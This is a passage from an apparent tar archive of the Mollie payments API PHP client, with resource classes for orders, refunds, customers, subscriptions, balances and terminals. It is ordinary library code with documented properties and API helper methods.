URL set on this payment * * @var string */ public $cancelUrl; /** * UTC datetime the order was created in ISO-8601 format. * * @example "2013-12-25T10:30:54+00:00" * @var string|null */ public $createdAt; /** * UTC datetime the order the order will expire in ISO-8601 format. * * @example "2013-12-25T10:30:54+00:00" * @var string|null */ public $expiresAt; /** * UTC datetime if the order is expired, the time of expiration will be present in ISO-8601 format. * * @example "2013-12-25T10:30:54+00:00" * @var string|null */ public $expiredAt; /** * UTC datetime if the order has been paid, the time of payment will be present in ISO-8601 format. * * @example "2013-12-25T10:30:54+00:00" * @var string|null */ public $paidAt; /** * UTC datetime if the order has been authorized, the time of authorization will be present in ISO-8601 format. * * @example "2013-12-25T10:30:54+00:00" * @var string|null */ public $authorizedAt; /** * UTC datetime if the order has been canceled, the time of cancellation will be present in ISO 8601 format. * * @example "2013-12-25T10:30:54+00:00" * @var string|null */ public $canceledAt; /** * UTC datetime if the order is completed, the time of completion will be present in ISO 8601 format. * * @example "2013-12-25T10:30:54+00:00" * @var string|null */ public $completedAt; /** * The order lines contain the actual things the customer bought. * * @var array|object[] */ public $lines; /** * For digital goods, you must make sure to apply the VAT rate from your customer’s country in most jurisdictions. * Use this parameter to restrict the payment methods available to your customer to methods from the billing country * only. * * @var bool */ public $shopperCountryMustMatchBillingCountry; /** * An object with several URL objects relevant to the customer. Every URL object will contain an href and a type field. * * @var \stdClass */ public $_links; /** * @var \stdClass|null */ public $_embedded; /** * Is this order created? * * @return bool */ public function isCreated() { return $this->status === OrderStatus::STATUS_CREATED; } /** * Is this order paid for? * * @return bool */ public function isPaid() { return $this->status === OrderStatus::STATUS_PAID; } /** * Is this order authorized? * * @return bool */ public function isAuthorized() { return $this->status === OrderStatus::STATUS_AUTHORIZED; } /** * Is this order canceled? * * @return bool */ public function isCanceled() { return $this->status === OrderStatus::STATUS_CANCELED; } /** * (Deprecated) Is this order refunded? * @deprecated 2018-11-27 * * @return bool */ public function isRefunded() { return $this->status === OrderStatus::STATUS_REFUNDED; } /** * Is this order shipping? * * @return bool */ public function isShipping() { return $this->status === OrderStatus::STATUS_SHIPPING; } /** * Is this order completed? * * @return bool */ public function isCompleted() { return $this->status === OrderStatus::STATUS_COMPLETED; } /** * Is this order expired? * * @return bool */ public function isExpired() { return $this->status === OrderStatus::STATUS_EXPIRED; } /** * Is this order completed? * * @return bool */ public function isPending() { return $this->status === OrderStatus::STATUS_PENDING; } /** * Cancels this order. * If the order was partially shipped, the status will be "completed" instead of * "canceled". * Will throw a ApiException if the order id is invalid or the resource cannot * be found. * * @return Order * @throws \Mollie\Api\Exceptions\ApiException */ public function cancel() { return $this->client->orders->cancel($this->id, $this->getPresetOptions()); } /** * Cancel a line for this order. * The data array must contain a lines array. * You can pass an empty lines array if you want to cancel all eligible lines. * Returns null if successful. * * @param array $data * @return null * @throws \Mollie\Api\Exceptions\ApiException */ public function cancelLines(array $data) { return $this->client->orderLines->cancelFor($this, $data); } /** * Cancels all eligible lines for this order. * Returns null if successful. * * @param array|null $data * @return null * @throws \Mollie\Api\Exceptions\ApiException */ public function cancelAllLines($data = []) { $data['lines'] = []; return $this->client->orderLines->cancelFor($this, $data); } /** * Get the line value objects * * @return OrderLineCollection */ public function lines() { return ResourceFactory::createBaseResourceCollection( $this->client, OrderLine::class, $this->lines ); } /** * Create a shipment for some order lines. You can provide an empty array for the * "lines" option to include all unshipped lines for this order. * * @param array $options * * @return Shipment * @throws ApiException */ public function createShipment(array $options = []) { return $this->client->shipments->createFor($this, $this->withPresetOptions($options)); } /** * Create a shipment for all unshipped order lines. * * @param array $options * * @return Shipment */ public function shipAll(array $options = []) { $options['lines'] = []; return $this->createShipment($options); } /** * Retrieve a specific shipment for this order. * * @param string $shipmentId * @param array $parameters * * @return Shipment * @throws ApiException */ public function getShipment($shipmentId, array $parameters = []) { return $this->client->shipments->getFor($this, $shipmentId, $this->withPresetOptions($parameters)); } /** * Get all shipments for this order. * * @param array $parameters * * @return ShipmentCollection * @throws ApiException */ public function shipments(array $parameters = []) { return $this->client->shipments->listFor($this, $this->withPresetOptions($parameters)); } /** * Get the checkout URL where the customer can complete the payment. * * @return string|null */ public function getCheckoutUrl() { if (empty($this->_links->checkout)) { return null; } return $this->_links->checkout->href; } /** * Refund specific order lines. * * @param array $data * @return Refund * @throws ApiException */ public function refund(array $data) { return $this->client->orderRefunds->createFor($this, $this->withPresetOptions($data)); } /** * Refund all eligible order lines. * * @param array $data * @return Refund */ public function refundAll(array $data = []) { $data['lines'] = []; return $this->refund($data); } /** * Retrieves all refunds associated with this order * * @return RefundCollection * @throws \Mollie\Api\Exceptions\ApiException */ public function refunds() { if (! isset($this->_links->refunds->href)) { return new RefundCollection($this->client, 0, null); } $result = $this->client->performHttpCallToFullUrl(MollieApiClient::HTTP_GET, $this->_links->refunds->href); return ResourceFactory::createCursorResourceCollection( $this->client, $result->_embedded->refunds, Refund::class, $result->_links ); } /** * Saves the order's updated billingAddress and/or shippingAddress. * * @return \Mollie\Api\Resources\Order * @throws \Mollie\Api\Exceptions\ApiException */ public function update() { $body = [ "billingAddress" => $this->billingAddress, "shippingAddress" => $this->shippingAddress, "orderNumber" => $this->orderNumber, "redirectUrl" => $this->redirectUrl, "cancelUrl" => $this->cancelUrl, "webhookUrl" => $this->webhookUrl, ]; $result = $this->client->orders->update($this->id, $body); return ResourceFactory::createFromApiResult($result, new Order($this->client)); } /** * Create a new payment for this Order. * * @param array $data * @param array $filters * @return \Mollie\Api\Resources\Payment * @throws \Mollie\Api\Exceptions\ApiException */ public function createPayment($data, $filters = []) { return $this->client->orderPayments->createFor($this, $data, $filters); } /** * Retrieve the payments for this order. * Requires the order to be retrieved using the embed payments parameter. * * @return null|\Mollie\Api\Resources\PaymentCollection */ public function payments() { if (! isset($this->_embedded, $this->_embedded->payments)) { return null; } return ResourceFactory::createCursorResourceCollection( $this->client, $this->_embedded->payments, Payment::class ); } /** * When accessed by oAuth we want to pass the testmode by default * * @return array */ private function getPresetOptions() { $options = []; if ($this->client->usesOAuth()) { $options["testmode"] = $this->mode === "test" ? true : false; } return $options; } /** * Apply the preset options. * * @param array $options * @return array */ private function withPresetOptions(array $options) { return array_merge($this->getPresetOptions(), $options); } } src/Resources/MethodPriceCollection.php 0000644 00000000333 15107407461 0014241 0 ustar 00 <?php namespace Mollie\Api\Resources; class MethodPriceCollection extends BaseCollection { /** * @return string|null */ public function getCollectionResourceName() { return null; } } src/Resources/BalanceCollection.php 0000644 00000000554 15107407461 0013370 0 ustar 00 <?php namespace Mollie\Api\Resources; class BalanceCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "balances"; } /** * @return BaseResource */ protected function createResourceObject() { return new Balance($this->client); } } src/Resources/Capture.php 0000644 00000002237 15107407461 0011432 0 ustar 00 <?php namespace Mollie\Api\Resources; class Capture extends BaseResource { /** * Always 'capture' for this object * * @var string */ public $resource; /** * Id of the capture * @var string */ public $id; /** * Mode of the capture, either "live" or "test" depending on the API Key that was used. * * @var string */ public $mode; /** * Amount object containing the value and currency * * @var \stdClass */ public $amount; /** * Amount object containing the settlement value and currency * * @var \stdClass */ public $settlementAmount; /** * Id of the capture's payment (on the Mollie platform). * * @var string */ public $paymentId; /** * Id of the capture's shipment (on the Mollie platform). * * @var string */ public $shipmentId; /** * Id of the capture's settlement (on the Mollie platform). * * @var string */ public $settlementId; /** * @var string */ public $createdAt; /** * @var \stdClass */ public $_links; } src/Resources/BalanceTransactionCollection.php 0000644 00000000634 15107407461 0015575 0 ustar 00 <?php declare(strict_types=1); namespace Mollie\Api\Resources; class BalanceTransactionCollection extends CursorCollection { /** * @inheritDoc */ public function getCollectionResourceName() { return "balance_transactions"; } /** * @inheritDoc */ protected function createResourceObject() { return new BalanceTransaction($this->client); } } src/Resources/Method.php 0000644 00000004244 15107407461 0011247 0 ustar 00 <?php namespace Mollie\Api\Resources; class Method extends BaseResource { /** * Id of the payment method. * * @var string */ public $id; /** * More legible description of the payment method. * * @var string */ public $description; /** * An object containing value and currency. It represents the minimum payment amount required to use this * payment method. * * @var \stdClass */ public $minimumAmount; /** * An object containing value and currency. It represents the maximum payment amount allowed when using this * payment method. * * @var \stdClass */ public $maximumAmount; /** * The $image->size1x and $image->size2x to display the payment method logo. * * @var \stdClass */ public $image; /** * The issuers available for this payment method. Only for the methods iDEAL, KBC/CBC and gift cards. * Will only be filled when explicitly requested using the query string `include` parameter. * * @var array|object[] */ public $issuers; /** * The pricing for this payment method. Will only be filled when explicitly requested using the query string * `include` parameter. * * @var array|object[] */ public $pricing; /** * The activation status the method is in. * If the method has status "null", this value will be returned as a null value, not as a string. * * @var string | null */ public $status; /** * @var \stdClass */ public $_links; /** * Get the issuer value objects * * @return IssuerCollection */ public function issuers() { return ResourceFactory::createBaseResourceCollection( $this->client, Issuer::class, $this->issuers ); } /** * Get the method price value objects. * * @return MethodPriceCollection */ public function pricing() { return ResourceFactory::createBaseResourceCollection( $this->client, MethodPrice::class, $this->pricing ); } } src/Resources/Permission.php 0000644 00000000522 15107407461 0012152 0 ustar 00 <?php namespace Mollie\Api\Resources; class Permission extends BaseResource { /** * @var string * @example payments.read */ public $id; /** * @var string */ public $description; /** * @var bool */ public $granted; /** * @var \stdClass */ public $_links; } src/Resources/Client.php 0000644 00000001140 15107407461 0011235 0 ustar 00 <?php namespace Mollie\Api\Resources; class Client extends BaseResource { /** * The unique identifier of the client, which corresponds to the ID of the organization * * @var string */ public $id; /** * UTC datetime the order was created in ISO-8601 format. * * @example "2018-03-21T13:13:37+00:00" * @var string|null */ public $organizationCreatedAt; /** * @var \stdClass */ public $_links; /** * @var \stdClass[] */ public $_embedded; /** * @var \stdClass|null */ public $commission; } src/Resources/SettlementCollection.php 0000644 00000000565 15107407461 0014171 0 ustar 00 <?php namespace Mollie\Api\Resources; class SettlementCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "settlements"; } /** * @return BaseResource */ protected function createResourceObject() { return new Settlement($this->client); } } src/Resources/Route.php 0000644 00000001167 15107407461 0011126 0 ustar 00 <?php namespace Mollie\Api\Resources; class Route extends BaseResource { /** * Id of the payment method. * * @var string */ public $id; /** * Amount object containing the value and currency * * @var \stdClass */ public $amount; /** * The destination where the routed payment was sent. * * @var \stdClass */ public $destination; /** * A UTC date. The settlement of a routed payment can be delayed on payment level, by specifying a release Date * * @example "2013-12-25" * @var string */ public $releaseDate; } src/Resources/MethodCollection.php 0000644 00000000326 15107407461 0013260 0 ustar 00 <?php namespace Mollie\Api\Resources; class MethodCollection extends BaseCollection { /** * @return string */ public function getCollectionResourceName() { return "methods"; } } src/Resources/SubscriptionCollection.php 0000644 00000000573 15107407461 0014530 0 ustar 00 <?php namespace Mollie\Api\Resources; class SubscriptionCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "subscriptions"; } /** * @return BaseResource */ protected function createResourceObject() { return new Subscription($this->client); } } src/Resources/Balance.php 0000644 00000005765 15107407461 0011365 0 ustar 00 <?php namespace Mollie\Api\Resources; class Balance extends BaseResource { /** * Indicates this is a balance resource. The value will always be "balance" here. * * @var string */ public $resource; /** * The mode used to create this balance. Mode determines whether real or test payments can be moved to this balance. * The value is either "live" or "test". * * @var string */ public $mode; /** * The identifier uniquely referring this balance. Mollie assigns this identifier at balance creation. * * @example bal_gVMhHKqSSRYJyPsuoPABC * @var string */ public $id; /** * UTC datetime the balance was created in ISO-8601 format. * * @example "2021-12-25T10:30:54+00:00" * @var string */ public $createdAt; /** * The balance's ISO 4217 currency code. * * @var string */ public $currency; /** * The status of the balance: "active" if the balance is operational and ready to be used. * The status is "inactive" if the account is still being validated by Mollie or if the balance has been blocked. * * @var string */ public $status; /** * The total amount directly available on the balance. * * @var \stdClass */ public $availableAmount; /** * The total amount queued to be transferred to your balance. * For example, a credit card payment can take a few days to clear. * * @var \stdClass */ public $incomingAmount; /** * The total amount that is in the process of being transferred from your balance to your verified bank account. * @var \stdClass */ public $outgoingAmount; /** * The frequency at which the available amount on the balance will be transferred away to the configured transfer * destination. See "transferDestination". Note that if the transfer is for an external destination, and the * transfer is created in a weekend or during a bank holiday, the actual bank transfer will take place on the next * business day. * * @var string */ public $transferFrequency; /** * The minimum amount configured for scheduled automatic balance transfers. As soon as the amount on the balance * exceeds this threshold, the complete balance will be paid out to the "transferDestination" according to the * configured "transferFrequency". * * @var \stdClass */ public $transferThreshold; /** * The reference to be included on all transfers for this balance. * * @var string|null */ public $transferReference; /** * The destination where the available amount will be automatically transferred to according to the configured * "transferFrequency". * * @var \stdClass */ public $transferDestination; /** * Links to help navigate through the Mollie API and related resources. * * @var \stdClass */ public $_links; } src/Resources/Refund.php 0000644 00000006207 15107407461 0011253 0 ustar 00 <?php namespace Mollie\Api\Resources; use Mollie\Api\MollieApiClient; use Mollie\Api\Types\RefundStatus; class Refund extends BaseResource { /** * Id of the payment method. * * @var string */ public $id; /** * The $amount that was refunded. * * @var \stdClass */ public $amount; /** * UTC datetime the payment was created in ISO-8601 format. * * @example "2013-12-25T10:30:54+00:00" * @var string */ public $createdAt; /** * The refund's description, if available. * * @var string|null */ public $description; /** * The payment id that was refunded. * * @var string */ public $paymentId; /** * The order id that was refunded. * * @var string|null */ public $orderId; /** * The order lines contain the actual things the customer ordered. * The lines will show the quantity, discountAmount, vatAmount and totalAmount * refunded. * * @var array|object[]|null */ public $lines; /** * The settlement amount * * @var \stdClass */ public $settlementAmount; /** * The refund status * * @var string */ public $status; /** * @var \stdClass */ public $_links; /** * An object containing information relevant to a refund issued for a split payment. * * @var array|object[]|null */ public $routingReversal; /** * @var \stdClass|null */ public $metadata; /** * @return bool */ public function canBeCanceled() { return $this->isQueued() || $this->isPending(); } /** * Is this refund queued? * * @return bool */ public function isQueued() { return $this->status === RefundStatus::STATUS_QUEUED; } /** * Is this refund pending? * * @return bool */ public function isPending() { return $this->status === RefundStatus::STATUS_PENDING; } /** * Is this refund processing? * * @return bool */ public function isProcessing() { return $this->status === RefundStatus::STATUS_PROCESSING; } /** * Is this refund transferred to consumer? * * @return bool */ public function isTransferred() { return $this->status === RefundStatus::STATUS_REFUNDED; } /** * Is this refund failed? * * @return bool */ public function isFailed() { return $this->status === RefundStatus::STATUS_FAILED; } /** * Is this refund canceled? * * @return bool */ public function isCanceled() { return $this->status === RefundStatus::STATUS_CANCELED; } /** * Cancel the refund. * Returns null if successful. * * @return null * @throws \Mollie\Api\Exceptions\ApiException */ public function cancel() { $this->client->performHttpCallToFullUrl( MollieApiClient::HTTP_DELETE, $this->_links->self->href ); return null; } } src/Resources/OrderCollection.php 0000644 00000000546 15107407461 0013117 0 ustar 00 <?php namespace Mollie\Api\Resources; class OrderCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "orders"; } /** * @return BaseResource */ protected function createResourceObject() { return new Order($this->client); } } src/Resources/RefundCollection.php 0000644 00000000551 15107407461 0013263 0 ustar 00 <?php namespace Mollie\Api\Resources; class RefundCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "refunds"; } /** * @return BaseResource */ protected function createResourceObject() { return new Refund($this->client); } } src/Resources/Customer.php 0000644 00000013045 15107407461 0011627 0 ustar 00 <?php namespace Mollie\Api\Resources; use Mollie\Api\Exceptions\ApiException; class Customer extends BaseResource { /** * Id of the customer. * * @var string */ public $id; /** * Either "live" or "test". Indicates this being a test or a live (verified) customer. * * @var string */ public $mode; /** * @var string */ public $name; /** * @var string */ public $email; /** * @var string|null */ public $locale; /** * @var \stdClass|mixed|null */ public $metadata; /** * @var string[]|array */ public $recentlyUsedMethods; /** * @var string */ public $createdAt; /** * @var \stdClass */ public $_links; /** * @return \Mollie\Api\Resources\Customer * @throws \Mollie\Api\Exceptions\ApiException */ public function update() { $body = [ "name" => $this->name, "email" => $this->email, "locale" => $this->locale, "metadata" => $this->metadata, ]; $result = $this->client->customers->update($this->id, $body); return ResourceFactory::createFromApiResult($result, new Customer($this->client)); } /** * @param array $options * @param array $filters * * @return Payment * @throws ApiException */ public function createPayment(array $options = [], array $filters = []) { return $this->client->customerPayments->createFor($this, $this->withPresetOptions($options), $filters); } /** * Get all payments for this customer * * @return PaymentCollection * @throws ApiException */ public function payments() { return $this->client->customerPayments->listFor($this, null, null, $this->getPresetOptions()); } /** * @param array $options * @param array $filters * * @return Subscription * @throws ApiException */ public function createSubscription(array $options = [], array $filters = []) { return $this->client->subscriptions->createFor($this, $this->withPresetOptions($options), $filters); } /** * @param string $subscriptionId * @param array $parameters * * @return Subscription * @throws ApiException */ public function getSubscription($subscriptionId, array $parameters = []) { return $this->client->subscriptions->getFor($this, $subscriptionId, $this->withPresetOptions($parameters)); } /** * @param string $subscriptionId * * @return null * @throws ApiException */ public function cancelSubscription($subscriptionId) { return $this->client->subscriptions->cancelFor($this, $subscriptionId, $this->getPresetOptions()); } /** * Get all subscriptions for this customer * * @return SubscriptionCollection * @throws ApiException */ public function subscriptions() { return $this->client->subscriptions->listFor($this, null, null, $this->getPresetOptions()); } /** * @param array $options * @param array $filters * * @return Mandate * @throws ApiException */ public function createMandate(array $options = [], array $filters = []) { return $this->client->mandates->createFor($this, $this->withPresetOptions($options), $filters); } /** * @param string $mandateId * @param array $parameters * * @return Mandate * @throws ApiException */ public function getMandate($mandateId, array $parameters = []) { return $this->client->mandates->getFor($this, $mandateId, $parameters); } /** * @param string $mandateId * * @return null * @throws ApiException */ public function revokeMandate($mandateId) { return $this->client->mandates->revokeFor($this, $mandateId, $this->getPresetOptions()); } /** * Get all mandates for this customer * * @return MandateCollection * @throws ApiException */ public function mandates() { return $this->client->mandates->listFor($this, null, null, $this->getPresetOptions()); } /** * Helper function to check for mandate with status valid * * @return bool */ public function hasValidMandate() { $mandates = $this->mandates(); foreach ($mandates as $mandate) { if ($mandate->isValid()) { return true; } } return false; } /** * Helper function to check for specific payment method mandate with status valid * * @return bool */ public function hasValidMandateForMethod($method) { $mandates = $this->mandates(); foreach ($mandates as $mandate) { if ($mandate->method === $method && $mandate->isValid()) { return true; } } return false; } /** * When accessed by oAuth we want to pass the testmode by default * * @return array */ private function getPresetOptions() { $options = []; if ($this->client->usesOAuth()) { $options["testmode"] = $this->mode === "test" ? true : false; } return $options; } /** * Apply the preset options. * * @param array $options * @return array */ private function withPresetOptions(array $options) { return array_merge($this->getPresetOptions(), $options); } } src/Resources/BalanceReport.php 0000644 00000004560 15107407461 0012551 0 ustar 00 <?php declare(strict_types=1); namespace Mollie\Api\Resources; class BalanceReport extends BaseResource { /** * Indicates the response contains a balance report object. Will always contain "balance-report" for this endpoint. * * @var string */ public $resource; /** * The ID of the balance this report was generated for. * * @example bal_gVMhHKqSSRYJyPsuoPNFH * @var string */ public $balanceId; /** * The time zone used for the "from" and "until" parameters. * Currently only time zone "Europe/Amsterdam" is supported. * * * @example Europe/Amsterdam * @var string */ public $timeZone; /** * The start date of the report, in YYYY-MM-DD format. The "from" date is ‘inclusive’, and in Central European Time. * This means a report with for example "from: 2020-01-01" will include movements of "2020-01-01 0:00:00 CET" and * onwards. * * * @example 2020-01-01 * @var string */ public $from; /** * The end date of the report, in YYYY-MM-DD format. The "until" date is ‘exclusive’, and in Central European Time. * This means a report with for example "until: 2020-02-01" will include movements up * until "2020-01-31 23:59:59 CET". * * @var string */ public $until; /** * You can retrieve reports in two different formats: "status-balances" or "transaction-categories". * With the "status-balances" format, transactions are grouped by status (e.g. "pending", "available"), then by * direction of movement (e.g. moved from "pending" to "available"), then by transaction type, and then by other * sub-groupings where available (e.g. payment method). * With the "transaction-categories" format, transactions are grouped by transaction type, then by direction of * movement, and then again by other sub-groupings where available. Both reporting formats will always contain * opening and closing amounts that correspond to the start and end dates of the report. * * @var string */ public $grouping; /** * The balance report totals, structured according to the defined "grouping". * * @var \stdClass */ public $totals; /** * Links to help navigate through the API. * * @var \stdClass */ public $_links; } src/Resources/BaseCollection.php 0000644 00000001124 15107407461 0012707 0 ustar 00 <?php namespace Mollie\Api\Resources; abstract class BaseCollection extends \ArrayObject { /** * Total number of retrieved objects. * * @var int */ public $count; /** * @var \stdClass|null */ public $_links; /** * @param int $count * @param \stdClass|null $_links */ public function __construct($count, $_links) { $this->count = $count; $this->_links = $_links; parent::__construct(); } /** * @return string|null */ abstract public function getCollectionResourceName(); } src/Resources/CurrentProfile.php 0000644 00000001451 15107407461 0012767 0 ustar 00 <?php namespace Mollie\Api\Resources; use Mollie\Api\Exceptions\ApiException; class CurrentProfile extends Profile { /** * Enable a payment method for this profile. * * @param string $methodId * @param array $data * @return Method * @throws ApiException */ public function enableMethod($methodId, array $data = []) { return $this->client->profileMethods->createForCurrentProfile($methodId, $data); } /** * Disable a payment method for this profile. * * @param string $methodId * @param array $data * @return Method * @throws ApiException */ public function disableMethod($methodId, array $data = []) { return $this->client->profileMethods->deleteForCurrentProfile($methodId, $data); } } src/Resources/ResourceFactory.php 0000644 00000004024 15107407461 0013142 0 ustar 00 <?php namespace Mollie\Api\Resources; use Mollie\Api\MollieApiClient; #[\AllowDynamicProperties] class ResourceFactory { /** * Create resource object from Api result * * @param object $apiResult * @param BaseResource $resource * * @return mixed */ public static function createFromApiResult($apiResult, BaseResource $resource) { foreach ($apiResult as $property => $value) { $resource->{$property} = $value; } return $resource; } /** * @param MollieApiClient $client * @param string $resourceClass * @param array $data * @param null $_links * @param string $resourceCollectionClass * @return mixed */ public static function createBaseResourceCollection( MollieApiClient $client, $resourceClass, $data, $_links = null, $resourceCollectionClass = null ) { $resourceCollectionClass = $resourceCollectionClass ?: $resourceClass . 'Collection'; $data = $data ?: []; $result = new $resourceCollectionClass(count($data), $_links); foreach ($data as $item) { $result[] = static::createFromApiResult($item, new $resourceClass($client)); } return $result; } /** * @param MollieApiClient $client * @param array $input * @param string $resourceClass * @param null $_links * @param null $resourceCollectionClass * @return mixed */ public static function createCursorResourceCollection( $client, array $input, $resourceClass, $_links = null, $resourceCollectionClass = null ) { if (null === $resourceCollectionClass) { $resourceCollectionClass = $resourceClass.'Collection'; } $data = new $resourceCollectionClass($client, count($input), $_links); foreach ($input as $item) { $data[] = static::createFromApiResult($item, new $resourceClass($client)); } return $data; } } src/Resources/PaymentCollection.php 0000644 00000000554 15107407461 0013460 0 ustar 00 <?php namespace Mollie\Api\Resources; class PaymentCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "payments"; } /** * @return BaseResource */ protected function createResourceObject() { return new Payment($this->client); } } src/Resources/Onboarding.php 0000644 00000002046 15107407461 0012107 0 ustar 00 <?php namespace Mollie\Api\Resources; use Mollie\Api\Types\OnboardingStatus; class Onboarding extends BaseResource { /** * @var string */ public $name; /** * @var string */ public $signedUpAt; /** * Either "needs-data", "in-review" or "completed". * Indicates this current status of the organization’s onboarding process. * * @var string */ public $status; /** * @var bool */ public $canReceivePayments; /** * @var bool */ public $canReceiveSettlements; /** * @var \stdClass */ public $_links; /** * @return bool */ public function needsData() { return $this->status === OnboardingStatus::NEEDS_DATA; } /** * @return bool */ public function isInReview() { return $this->status === OnboardingStatus::IN_REVIEW; } /** * @return bool */ public function isCompleted() { return $this->status === OnboardingStatus::COMPLETED; } } src/Resources/RouteCollection.php 0000644 00000000545 15107407461 0013141 0 ustar 00 <?php namespace Mollie\Api\Resources; class RouteCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "route"; } /** * @return BaseResource */ protected function createResourceObject() { return new Route($this->client); } } src/Resources/MandateCollection.php 0000644 00000001440 15107407461 0013407 0 ustar 00 <?php namespace Mollie\Api\Resources; class MandateCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "mandates"; } /** * @return BaseResource */ protected function createResourceObject() { return new Mandate($this->client); } /** * @param string $status * @return array|\Mollie\Api\Resources\MandateCollection */ public function whereStatus($status) { $collection = new self($this->client, 0, $this->_links); foreach ($this as $item) { if ($item->status === $status) { $collection[] = $item; $collection->count++; } } return $collection; } } src/Resources/Subscription.php 0000644 00000011431 15107407461 0012507 0 ustar 00 <?php namespace Mollie\Api\Resources; use Mollie\Api\MollieApiClient; use Mollie\Api\Types\SubscriptionStatus; class Subscription extends BaseResource { /** * @var string */ public $id; /** * @var string */ public $customerId; /** * Either "live" or "test" depending on the customer's mode. * * @var string */ public $mode; /** * UTC datetime the subscription created in ISO-8601 format. * * @var string */ public $createdAt; /** * @var string */ public $status; /** * @var \stdClass */ public $amount; /** * @var int|null */ public $times; /** * @var int|null */ public $timesRemaining; /** * @var string */ public $interval; /** * @var string */ public $description; /** * @var string|null */ public $method; /** * @var string|null */ public $mandateId; /** * @var \stdClass|null */ public $metadata; /** * UTC datetime the subscription canceled in ISO-8601 format. * * @var string|null */ public $canceledAt; /** * Date the subscription started. For example: 2018-04-24 * * @var string|null */ public $startDate; /** * Contains an optional 'webhookUrl'. * * @var \stdClass|null */ public $webhookUrl; /** * Date the next subscription payment will take place. For example: 2018-04-24 * * @var string|null */ public $nextPaymentDate; /** * @var \stdClass */ public $_links; /** * @return Subscription * @throws \Mollie\Api\Exceptions\ApiException */ public function update() { $body = [ "amount" => $this->amount, "times" => $this->times, "startDate" => $this->startDate, "webhookUrl" => $this->webhookUrl, "description" => $this->description, "mandateId" => $this->mandateId, "metadata" => $this->metadata, "interval" => $this->interval, ]; $result = $this->client->subscriptions->update($this->customerId, $this->id, $body); return ResourceFactory::createFromApiResult($result, new Subscription($this->client)); } /** * Returns whether the Subscription is active or not. * * @return bool */ public function isActive() { return $this->status === SubscriptionStatus::STATUS_ACTIVE; } /** * Returns whether the Subscription is pending or not. * * @return bool */ public function isPending() { return $this->status === SubscriptionStatus::STATUS_PENDING; } /** * Returns whether the Subscription is canceled or not. * * @return bool */ public function isCanceled() { return $this->status === SubscriptionStatus::STATUS_CANCELED; } /** * Returns whether the Subscription is suspended or not. * * @return bool */ public function isSuspended() { return $this->status === SubscriptionStatus::STATUS_SUSPENDED; } /** * Returns whether the Subscription is completed or not. * * @return bool */ public function isCompleted() { return $this->status === SubscriptionStatus::STATUS_COMPLETED; } /** * Cancels this subscription * * @return Subscription * @throws \Mollie\Api\Exceptions\ApiException */ public function cancel() { if (! isset($this->_links->self->href)) { return $this; } $body = null; if ($this->client->usesOAuth()) { $body = json_encode([ "testmode" => $this->mode === "test" ? true : false, ]); } $result = $this->client->performHttpCallToFullUrl( MollieApiClient::HTTP_DELETE, $this->_links->self->href, $body ); return ResourceFactory::createFromApiResult($result, new Subscription($this->client)); } /** * Get subscription payments * * @return \Mollie\Api\Resources\PaymentCollection * @throws \Mollie\Api\Exceptions\ApiException */ public function payments() { if (! isset($this->_links->payments->href)) { return new PaymentCollection($this->client, 0, null); } $result = $this->client->performHttpCallToFullUrl( MollieApiClient::HTTP_GET, $this->_links->payments->href ); return ResourceFactory::createCursorResourceCollection( $this->client, $result->_embedded->payments, Payment::class, $result->_links ); } } src/Resources/ShipmentCollection.php 0000644 00000000332 15107407461 0013624 0 ustar 00 <?php namespace Mollie\Api\Resources; class ShipmentCollection extends BaseCollection { /** * @return string */ public function getCollectionResourceName() { return 'shipments'; } } src/Resources/Organization.php 0000644 00000002407 15107407461 0012472 0 ustar 00 <?php namespace Mollie\Api\Resources; class Organization extends BaseResource { /** * Id of the payment method. * * @var string */ public $id; /** * The name of the organization. * * @var string */ public $name; /** * The email address of the organization. * * @var string */ public $email; /** * The preferred locale of the merchant which has been set in Mollie Dashboard. * * @var string */ public $locale; /** * The address of the organization. * * @var \stdClass */ public $address; /** * The registration number of the organization at the (local) chamber of * commerce. * * @var string */ public $registrationNumber; /** * The VAT number of the organization, if based in the European Union. The VAT * number has been checked with the VIES by Mollie. * * @var string */ public $vatNumber; /** * The organization’s VAT regulation, if based in the European Union. Either "shifted" * (VAT is shifted) or dutch (Dutch VAT rate). * * @var string|null */ public $vatRegulation; /** * @var \stdClass */ public $_links; } src/Resources/ClientCollection.php 0000644 00000000551 15107407461 0013256 0 ustar 00 <?php namespace Mollie\Api\Resources; class ClientCollection extends CursorCollection { /** * @return string */ public function getCollectionResourceName() { return "clients"; } /** * @return BaseResource */ protected function createResourceObject() { return new Client($this->client); } } src/Resources/Terminal.php 0000644 00000006252 15107407461 0011603 0 ustar 00 <?php namespace Mollie\Api\Resources; use Mollie\Api\Types\TerminalStatus; class Terminal extends BaseResource { /** * @var string */ public $resource; /** * Id of the terminal (on the Mollie platform). * * @example term_7MgL4wea46qkRcoTZjWEH * @var string */ public $id; /** * The profile ID this terminal belongs to. * * @example pfl_QkEhN94Ba * @var string */ public $profileId; /** * Mollie determines the read-only status of a terminal as pending, * active, or inactive based on its actions. Pending means not activated, * active means payments are accepted, and inactive means it is deactivated. * * @example active * @var string */ public $status; /** * The brand of the terminal. * * @var string */ public $brand; /** * The model of the terminal. * * @var string */ public $model; /** * The serial number of the terminal. The serial number is provided at terminal creation time. * * @var string */ public $serialNumber; /** * The currency which is set for the terminal, in ISO 4217 format. * * @example EUR * @var string */ public $currency; /** * A short description of the terminal. The description will be visible * in the Dashboard, but also on the device itself for identification purposes. * * @var string */ public $description; /** * The timezone of the terminal. * * @example Europe/Brussels * @var string */ public $timezone; /** * This will be a full locale provided by the user. * * @example nl_NL * @var string */ public $locale; /** * UTC datetime the terminal was created, in ISO 8601 format. * * @example "2021-12-25T10:30:54+00:00" * @var string */ public $createdAt; /** * UTC datetime the terminal was last updated, in ISO 8601 format. * * @example "2021-12-25T10:30:54+00:00" * @var string */ public $updatedAt; /** * UTC datetime the terminal was disabled, in ISO 8601 format. * This parameter is omitted if the terminal is not disabled yet. * * @example "2021-12-25T10:30:54+00:00" * @var string */ public $disabledAt; /** * UTC datetime the terminal was activated, in ISO 8601 format. * This parameter is omitted if the terminal is not active yet. * * @example "2021-12-25T10:30:54+00:00" * @var string */ public $activatedAt; /** * Links to help navigate through the Mollie API and related resources. * * @var \stdClass */ public 